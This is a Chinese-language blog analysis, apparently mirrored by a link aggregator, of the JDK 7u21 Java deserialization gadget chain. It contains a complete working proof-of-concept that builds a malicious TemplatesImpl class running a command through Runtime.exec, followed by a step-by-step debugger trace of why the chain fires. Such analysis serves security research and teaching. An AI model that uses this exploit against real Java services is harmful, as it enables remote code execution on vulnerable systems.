2

JDK7U21分析

 2 years ago
source link: https://yq1ng.github.io/2021/12/01/jdk7u21-fen-xi/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.

JDK7U21:https://www.oracle.com/java/technologies/javase/javase7-archive-downloads.html

<!-- https://mvnrepository.com/artifact/org.javassist/javassist -->
<dependency>
  <groupId>org.javassist</groupId>
  <artifactId>javassist</artifactId>
  <version>3.25.0-GA</version>
</dependency>

LinkedHashSet

LinkedHashSet 也是 Set 接口的一个实现,它类似于 HashSet 和 TreeSet,除了下面提到的差异:

  1. HashSet 不保持其元素的任何顺序。
  2. TreeSet 按升序对元素进行排序。
  3. LinkedHashSet 保持插入顺序。元素按照添加到 Set 中的相同顺序进行排序。
package com.yq1ng.jdk;

import java.util.HashSet;
import java.util.LinkedHashSet;
import java.util.TreeSet;

/**
 * @author ying
 * @Description
 * @create 2021-12-01 5:46 PM
 */

public class LinkedHashSetTest {
    public static void main(String args[]) {
        // LinkedHashSet of String Type
        LinkedHashSet<String> lhset = new LinkedHashSet<String>();

        // Adding elements to the LinkedHashSet
        lhset.add("Z");
        lhset.add("PQ");
        lhset.add("N");
        lhset.add("O");
        lhset.add("KK");
        lhset.add("FGH");
        System.out.println("========================LinkedHashSet of String Type======================");
        System.out.println(lhset);

        // LinkedHashSet of Integer Type
        LinkedHashSet<Integer> lhset2 = new LinkedHashSet<Integer>();

        // Adding elements
        lhset2.add(99);
        lhset2.add(7);
        lhset2.add(0);
        lhset2.add(67);
        lhset2.add(89);
        lhset2.add(66);
        System.out.println("========================LinkedHashSet of Integer Type======================");
        System.out.println(lhset2);

        HashSet hashSet = new HashSet();
        hashSet.add(6);
        hashSet.add(1);
        hashSet.add(0);
        hashSet.add(2);
        System.out.println("========================HashSet of Integer Type======================");
        System.out.println(hashSet);

        TreeSet treeSet = new TreeSet();
        treeSet.add(2);
        treeSet.add(0);
        treeSet.add(9);
        System.out.println("========================TreeSet of Integer Type======================");
        System.out.println(treeSet);
    }
}

image.png
image.png

可以看到 LinkedHashSet 没有对插入的元素进行排序或更改

分析 poc

poc 源自:https://l3yx.github.io/2020/02/22/JDK7u21%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96Gadgets

package com.yq1ng.jdk;

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.*;
import javassist.*;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.*;
import java.util.*;

/**
 * @author ying
 * @Description
 * @create 2021-12-01 5:11 PM
 */

public class JDK7U21 {
    //序列化
    public static byte[] serialize(final Object obj) throws Exception {
        ByteArrayOutputStream btout = new ByteArrayOutputStream();
        ObjectOutputStream objOut = new ObjectOutputStream(btout);
        objOut.writeObject(obj);
        return btout.toByteArray();
    }

    //反序列化
    public static Object unserialize(final byte[] serialized) throws Exception {
        ByteArrayInputStream btin = new ByteArrayInputStream(serialized);
        ObjectInputStream objIn = new ObjectInputStream(btin);
        return objIn.readObject();
    }

    //通过反射为obj的属性赋值
    private static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }

    //封装了之前对恶意TemplatesImpl类的构造
    private static TemplatesImpl getEvilTemplatesImpl() throws Exception {
        ClassPool pool = ClassPool.getDefault();//ClassPool对象是一个表示class文件的CtClass对象的容器
        CtClass cc = pool.makeClass("Evil");//创建Evil类
        cc.setSuperclass((pool.get(AbstractTranslet.class.getName())));//设置Evil类的父类为AbstractTranslet
        CtConstructor cons = new CtConstructor(new CtClass[]{}, cc);//创建无参构造函数
        cons.setBody("{ Runtime.getRuntime().exec(\"calc\"); }");//设置无参构造函数体
        cc.addConstructor(cons);
        byte[] byteCode = cc.toBytecode();//toBytecode得到Evil类的字节码
        byte[][] targetByteCode = new byte[][]{byteCode};
        TemplatesImpl templates = TemplatesImpl.class.newInstance();
        setFieldValue(templates, "_bytecodes", targetByteCode);
        setFieldValue(templates, "_class", null);
        setFieldValue(templates, "_name", "xx");
        setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
        return templates;
    }

    public static void main(String[] args) throws Exception {

        TemplatesImpl templates = getEvilTemplatesImpl();

        HashMap map = new HashMap();

        //通过反射创建代理使用的handler,AnnotationInvocationHandler作为动态代理的handler
        Constructor ctor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructors()[0];
        ctor.setAccessible(true);
        InvocationHandler tempHandler = (InvocationHandler) ctor.newInstance(Templates.class, map);

        Templates proxy = (Templates) Proxy.newProxyInstance(JDK7U21.class.getClassLoader(), templates.getClass().getInterfaces(), tempHandler);

        LinkedHashSet set = new LinkedHashSet();
        set.add(templates);
        set.add(proxy);

        map.put("f5a5a608", templates);

        byte[] obj = serialize(set);
        unserialize(obj);
    }
}
image.png
image.png

似乎没什么新鲜的,只多了个LinkedHashSet,直接 debug 看调用链,但是LinkedHashSet没有readObject()所以断点在java/util/HashSet.java#readObject() 309 行

image.png
image.png

这里 put 的 key 是构造的templates,value 是空 Object

image.png
image.png

第一次 **table **为空,所以直接 addEntry

image.png
image.png

第二次 put 进去构造的 proxy

image.png
image.png

跟进去

image.png
image.png

进来以后就很熟悉了,还是要进入key.equals(k),所以需要 e.hash == hash,而上一次的e.hashhash(templates),先记着后面有用,然后跟进 471 行hash(key)

image.png
image.png

继续跟进,由于 key 是代理对象,所以会进入sun\reflect\annotation\AnnotationInvocationHandler.class#invoke()

image.png
image.png

然后跟进 48 行hashCodeImpl()

image.png
image.png
private int hashCodeImpl() {
        int var1 = 0;

        Entry var3;
        for(Iterator var2 = this.memberValues.entrySet().iterator(); var2.hasNext(); var1 += 127 * ((String)var3.getKey()).hashCode() ^ memberValueHashCode(var3.getValue())) {
            var3 = (Entry)var2.next();
        }

        return var1;
    }

有点长,放代码了,rt.jar!/sun/reflect/annotation/AnnotationInvocationHandler.class#hashCodeImpl()这里遍历memberValues,并以此计算key.hashCode(),而 memberValues 是在初始化 AnnotationInvocationHandler 的时候传入的 map,即 poc 中的InvocationHandler tempHandler = (InvocationHandler) ctor.newInstance(Templates.class, map);
但是 map 我们在最后进行了map.put("f5a5a608", templates);,所以此处memberValues 就是"f5a5a608"和 templates

至于为什么最后 map.put?是因为java/util/HashSet.java#add()进行了map.put()提前执行了命令,导致后面序列化数据出错

那么var1 += 127 * ((String)var3.getKey()).hashCode() ^ _memberValueHashCode_(var3.getValue())
即是var1 += 127 * "f5a5a608".hashCode() ^ templates.hashCode()
而字符串"f5a5a608"的 hashCode 为 0,cc 中算过 zZ 与 yy 的 hashCode 为什么相同,这里我就不算了
所以var1=templates.hashCode()
也即e.hash == hash(怎么像在做数学题???
所以来到key.equals(k),key 又是代理对象,所以会再进入rt.jar!/sun/reflect/annotation/AnnotationInvocationHandler.class#invoke()

image.png
image.png

跟进equalsImpl()

image.png
image.png

第一个 if 好理解,第二个this.type是什么

image.png
image.png

跟一下可以知道this.typethis.memberValues分别Templates.classmap。再看Method[] var2 = this.getMemberMethods();是啥,f7 的时候直接跳过了

image.png
image.png

由上上图可以知道this.memberMethods = null,所以进入 if,返回了this.type的所有方法,也即是 Templates 的所有方法

image.png
image.png

回到equalsImpl(),可以看出此 for 循环就是去调用 Templates 的所有方法,162 行出现一个asOneOfUs()不认识的方法,跟进

image.png
image.png

这里判断传入的 var1 是不是代理对象,如果是那就转为 AnnotationInvocationHandler
然后equalsImpl()中的var8 = var5.invoke(var1);就会调用 Templates 的所有方法,那就会加载恶意字节码,然后执行命令


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK